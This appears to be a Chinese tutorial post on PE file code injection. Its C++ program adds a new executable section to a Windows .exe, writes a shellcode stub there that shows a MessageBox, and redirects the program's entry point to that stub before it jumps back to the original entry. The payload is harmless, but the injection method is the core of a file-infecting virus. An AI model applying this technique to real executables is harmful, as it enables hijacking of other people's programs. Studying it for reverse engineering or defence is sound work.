上面的那些00填充的就是我所说的缝隙

 

当然这里面难点并不是注入那些

反而是资源重定位，比如你注入一个函数你要调用messagebox(NULL,"123",NULL,NULL)

如果你直接这样写，那绝对是不对的

messagebox(NULL,NULL,"123",NULL)

反编译之后为

push 0

push 0

push offset "123"

push 0

call dword[********]

会有2个错误

1.第二个参数压入的是偏移地址，是你加载程序里面的偏移地址，此地址在注入目标程序内根本无效

2.call dword[*******]更有问题，因为编译器需要区分外来函数和本土函数的区别，它会多使用5字节来判断

也就是

       call dword[x]

x:    jmp   真正地址

而这个X地址明显也是加载程序里面的偏移地址

 

所以这个问题反而是关键性的问题，本程序里面只是解决了一点，利用堆栈传参，再加上一部分硬代码，才解决的，不过如果想要和在自家程序那样使用参数还是不行的，这也是后续开发要解决的一个难点

 

好了不扯淡，直接上代码

#include <windows.h>
#include <iostream>
#include<tlhelp32.h>
#include<windows.h>
using namespace std;

#pragma data_seg(".mydat")															//申请一个新的段
#pragma code_seg(".shell")
#pragma const_seg(".constdata")
#pragma comment(linker,"/SECTION:.mydat,RWE")										//告诉编译器新的段
#pragma comment(linker,"/SECTION:.shell,RWE")
#pragma comment(linker,"/SECTION:.constdata,RWE")									
#pragma comment(linker,"/MERGE:.mydat=.shell")										//合并段
#pragma comment(linker,"/MERGE:.constdata=.shell")
#define Recode _asm call A _asm A: _asm pop  ebx _asm lea eax, A _asm sub ebx,  eax
#define VA_END  -2

DWORD GetProcessIdFromName(LPCTSTR name) ;
void Fun2();
int Invoke(char*pDllName, char*pFunName, ...);

typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);

DWORD dwOldEntry = 0;

void WINAPI Fun1()
{
	__asm
	{
		    PUSH  0x00333231 
			MOV   EAX, ESP
			PUSH  0
			PUSH  0
			PUSH  EAX
			PUSH  0
			mov eax,0x77d5058a
			CALL  eax
			ADD   ESP,  4	
	}
	_asm
	{
			_EMIT 0xE9
			_EMIT 0x83
			_EMIT 0xB0
			_EMIT 0xFF
			_EMIT 0xFF
	}

}

void End() 
{

}


int Align(int nSize, int n)
{
  if(nSize % n)
  {
    int num = nSize / n;
    return (num + 1) * n;
  }
  return nSize;
}


#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER

int main() 
{
  MessageBox(NULL,"123","1",NULL);
  DWORD dwCodeSize = (DWORD)End - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0;
  HANDLE hFile = CreateFile("c:\\Dialog.exe", GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
  HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
  PVOID pFile = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL);
  IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
  IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
  IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
  IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
  DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment;
  DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;
  stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;
  
  //设置新的节属性
  strcpy((char*)stNewSec->Name, ".CIW");
  stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE;
  stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
  stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
  stNewSec->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
  stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
  
  stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
  stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;

  //移动文件指针(文件实际内容是分节存放的，在内存中是分页存放的)
  SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
  WriteFile(hFile, &dwOldEntry, stNewSec->Misc.VirtualSize, &dwSize, NULL);
  SetEndOfFile(hFile);

  dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
  SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
  WriteFile(hFile, &dwOldEntry1 , 4, &dwSize, NULL);

  stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)Fun1 - (DWORD)&dwOldEntry;

  FlushViewOfFile(pFile, stNT->OptionalHeader.SizeOfHeaders);

  UnmapViewOfFile(pFile);
  CloseHandle(hMapFile);
  CloseHandle(hFile);  
  
  return 0;
}